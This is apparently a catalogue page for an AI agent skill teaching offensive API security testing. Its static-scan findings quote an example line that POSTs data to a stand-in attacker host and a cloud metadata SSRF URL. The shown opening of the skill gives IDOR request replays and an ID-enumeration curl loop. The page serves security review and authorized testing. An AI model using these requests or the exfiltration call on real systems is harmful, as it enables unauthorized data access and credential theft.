Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/Miosa-osa/OSAnpx agentmods add skills/miosa-osa/osa/offensive-api-securityWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/miosa-osa/osa/offensive-api-security)<a href="https://agentmods.dev/skills/miosa-osa/osa/offensive-api-security"><img src="https://agentmods.dev/badge/skills/miosa-osa/osa/offensive-api-security/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/miosa-osa/osa/offensive-api-security"><img src="https://agentmods.dev/badge/skills/miosa-osa/osa/offensive-api-security.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00174 | $0.05344 |
| Opus 5.5 | $0.00070 | $0.02138 |
| Sonnet 5.5 | $0.00035 | $0.01069 |
| Haiku 4.5 | $0.00017 | $0.00534 |
Grade B, and why
offensive-api-security scanned grade B with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2mo ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Sends data to an external URLlowData exfiltration
A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.
fetch("https://attacker-log.example.com/log", {method: "POST", body: evt.data}); Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Cloud metadata endpointmediumServer-side request forgery
One request to 169.254.169.254 can return temporary IAM credentials.
"http://169.254.169.254/latest/meta-data/" Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
status=$(curl -s -o /dev/null -w "%{http_code}" \ This is a copy
94% identical to offensive-api-security — 40 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 545 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Offensive API Security Testing
You are conducting authorized security assessments against API-driven applications. This skill covers REST, gRPC, and WebSocket attack surfaces with emphasis on the OWASP API Security Top 10 2023. Every technique assumes you have written authorization and a defined scope. Your goal is to identify vulnerabilities that allow unauthorized data access, privilege escalation, or service disruption through API-layer attacks.
Quick Workflow
- Map the API surface: collect OpenAPI/Swagger specs, gRPC reflection output, and WebSocket endpoints.
- Enumerate authentication mechanisms: API keys, OAuth flows, JWTs, session tokens.
- Test BOLA/IDOR by substituting object identifiers across authenticated contexts.
- Probe authorization boundaries with BFLA checks across roles and HTTP methods.
- Fuzz parameters for mass assignment, content-type switching, and verb tampering.
- Assess rate limiting and resource consumption controls.
- Test gRPC-specific vectors: reflection enumeration, metadata injection, protobuf manipulation.
- Evaluate WebSocket security: origin validation, message integrity, CSWSH.
- Check for SSRF via URL-accepting parameters and webhook configurations.
- Document findings with reproduction steps and severity ratings.
OWASP API Top 10 2023 -- BOLA and IDOR
Broken Object Level Authorization (BOLA) is the most prevalent API vulnerability. You test it by capturing a legitimate request containing an object identifier and replaying it with identifiers belonging to other users or tenants.
GET /api/v1/users/1001/orders HTTP/1.1
Authorization: Bearer eyJhbGciOi...user_a_token
Host: target.example.com
Replay with a different user ID while retaining the original token:
GET /api/v1/users/1002/orders HTTP/1.1
Authorization: Bearer eyJhbGciOi...user_a_token
Host: target.example.com
Automate IDOR testing across sequential and UUID-based identifiers:
# Sequential ID enumeration
for id in $(seq 1000 1050); do
status=$(curl -s -o /dev/null -w "%{http_code}" \
-H "Authorization: Bearer $TOKEN_A" \
"https://target.example.com/api/v1/users/${id}/orders")
echo "ID: ${id} -> HTTP ${status}"
done
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 2mo ago First seen · 545 lines · 174 tokens per session scan B d442c5d869d1
offensive-api-security is a skill published in the GitHub repository Miosa-osa/OSA (82 stars, last pushed 2d ago), licensed Apache-2.0. It adds 174 tokens to every session and 5,344 once invoked, about $0.0007 per session on Opus 5.5. A static security scan graded it B with 3 findings (sends data to an external url, cloud metadata endpoint, makes network calls). It is 94% identical to offensive-api-security, differing in 40 lines, and is treated as a copy.
offensive-api-security compared with skills from other repositories
| Mod | Type | Stars | Last push | Licence | Scan | Tokens | Works with |
|---|---|---|---|---|---|---|---|
| offensive-api-securityMiosa-osa/OSA | Skill | 82 | 2d ago | Apache-2.0 | B | 174 | Claude Code, Codex |
| n8n-mcp-workflowsMRWillisT/PullNexus | Skill | 8 | 7mo ago | none | A | 35 | Claude Code |
| fastapi-patternsaffaan-m/ECC | Skill | 315k | today | MIT | A | 35 | Claude Code, Kiro |
| open-sourcebrowser-use/browser-use | Skill | 123k | today | MIT | A | 101 | Claude Code |
| stripe-projectsNousResearch/hermes-agent | Skill | 268k | today | MIT | A | 15 | Claude Code, Codex |
| statusmem0ai/mem0 | Skill | 70k | 4d ago | Apache-2.0 | A | 54 | Claude Code |
| mem0-test-integrationmem0ai/mem0 | Skill | 70k | 4d ago | Apache-2.0 | A | 207 | Claude Code, Codex |